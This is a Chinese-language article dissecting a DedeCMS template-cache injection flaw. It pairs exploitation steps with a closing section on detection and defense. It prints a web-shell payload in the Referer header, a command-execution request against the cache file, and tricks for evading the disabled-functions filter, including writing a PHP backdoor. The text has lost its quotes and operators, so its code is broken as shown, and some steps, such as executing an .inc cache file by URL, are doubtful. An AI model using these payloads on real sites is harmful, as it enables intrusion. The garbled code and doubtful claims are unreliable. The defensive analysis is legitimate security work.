1. DedeCMS模板缓存机制与漏洞背景DedeCMS作为国内广泛使用的CMS系统其模板缓存机制原本是为了提升性能而设计。系统会将编译后的模板以.php文件形式存储在data/tplcache目录下后续请求直接包含这些预编译文件避免重复解析模板标签。这种机制在正常情况下确实能显著降低服务器负载但也为安全漏洞埋下了隐患。我在分析历史漏洞时发现这类模板注入问题往往源于两个关键点一是缓存文件内容可控二是最终会通过include执行。DedeCMS的ShowMsg函数恰好同时满足这两个条件。这个函数本用于显示系统提示信息比如操作成功或参数错误这类常见提示却意外成为了攻击入口。实际测试环境中当我们在plus/recommend.php文件触发空aid参数时系统会调用ShowMsg函数生成错误提示。有趣的是这个提示页面的跳转地址$gourl参数默认取自HTTP Referer头——这意味着攻击者可以通过构造恶意Referer来控制部分模板内容。这种设计在开发视角看似合理却忽略了外部输入直接进入模板编译流程的风险。2. ShowMsg函数漏洞深度解析2.1 参数传递链条剖析漏洞的起点在recommend.php中对ShowMsg的调用if(empty($aid)) { ShowMsg(文档ID不能为空!, -1); exit(); }当$gourl参数为-1时函数会执行这个关键逻辑if($gourl -1) { $gourl isset($_SERVER[HTTP_REFERER]) ? $_SERVER[HTTP_REFERER] : ; }这里就出现了第一个安全隐患未经验证的Referer值直接进入了模板内容。我通过Burp Suite拦截测试请求修改Referer头为恶意代码时发现这些代码最终会被写入缓存文件。更危险的是系统在写入前仅做了简单的字符串拼接$rmsg . document.write(\ . str_replace(\, “, $msg) . \);\r\n;这里的str_replace只处理了双引号对其他特殊字符完全没有防护。在实际渗透测试中我发现可以通过精心构造的JavaScript代码绕过这个过滤。2.2 模板编译过程的安全缺陷DedeTemplate类的处理流程存在严重设计缺陷。当调用LoadString方法时系统会生成缓存文件名$hashcode md5($this-sourceString); $this-cacheFile $this-cacheDir./string_.$hashcode..inc;这里使用模板内容的MD5值作为文件名看似合理但实际上意味着相同的恶意payload总会生成相同的缓存文件路径。在攻击场景中攻击者可以预先计算好文件路径这对后续的文件包含攻击至关重要。我特别注意到WriteCache方法中的这个判断逻辑if(!file_exists($this-cacheFile) || $this-isCache false || ...)这意味着只要缓存文件不存在或需要更新攻击者注入的代码就会被重新写入。在实际攻击中可以通过控制请求间隔来确保每次都能触发缓存重建。3. 绕过安全限制的实战技巧3.1 CheckDisabledFunctions的规避方法系统原本设计了CheckDisabledFunctions函数来防御危险操作$cfg_disable_funs phpinfo,eval,exec,passthru...;但该检测存在致命漏洞——仅检查了特定函数名的直接调用。通过测试发现以下方法可以有效绕过检测使用字符串拼接构造函数名$f sys.tem; $f(whoami);利用回调函数机制array_map(system, [whoami]);通过文件操作间接执行file_put_contents(1.php, ?php system($_GET[1]);?);我在实际渗透测试中使用第二种方法成功率最高。因为array_map这类高阶函数在Web应用中很常见很少被完全禁用而且可以通过多层封装进一步混淆。3.2 缓存文件包含的时序攻击成功写入恶意缓存后还需要确保文件被正确包含。Display方法的执行流程给我们提供了机会public function Display() { $this-WriteCache(); include $this-cacheFile; }这里存在一个关键的时间窗口WriteCache执行后立即包含文件。攻击者可以通过以下步骤确保攻击成功首次请求注入恶意代码创建缓存文件立即发起第二次请求触发文件包含通过Burp Suite的Repeater模块精确控制请求间隔在实际测试中我发现即使服务器负载较高两个请求间隔在500ms内基本都能保证攻击成功。这种时序攻击不需要猜测文件名因为第二个请求会自动包含刚生成的缓存文件。4. 完整攻击链还原与防御方案4.1 攻击步骤拆解基于以上分析完整的攻击链可分为四个阶段信息收集阶段识别使用DedeCMS的网站通过favicon.ico、robots.txt等寻找调用ShowMsg的功能点如recommend.php、search.php漏洞探测阶段发送空aid参数的请求观察返回信息是否包含模板错误载荷注入阶段GET /plus/recommend.php HTTP/1.1 Referer: ?php system($_GET[cmd]);?命令执行阶段GET /data/tplcache/string_[md5].inc?cmdwhoami HTTP/1.1在真实环境中攻击者往往会使用自动化工具完成这些步骤。我建议企业可以通过以下日志特征检测此类攻击频繁出现的空aid参数请求Referer头中包含PHP代码片段短时间内对tplcache目录的访问激增4.2 立体化防御方案单纯的补丁更新往往不够需要多层防御代码层对ShowMsg函数增加输入过滤$gourl str_replace([?, ?, , ], , $gourl);配置层修改tplcache目录权限为只读在php.ini中设置open_basedir限制架构层使用WAF拦截特殊字符的Referer部署RASP方案监控可疑的文件包含行为监控层实时监控tplcache目录的文件变更建立Webshell检测机制我在给客户做安全加固时发现组合使用第2和第4种方案效果最好。特别是对历史遗留系统在不能立即升级的情况下通过文件监控可以快速发现攻击行为。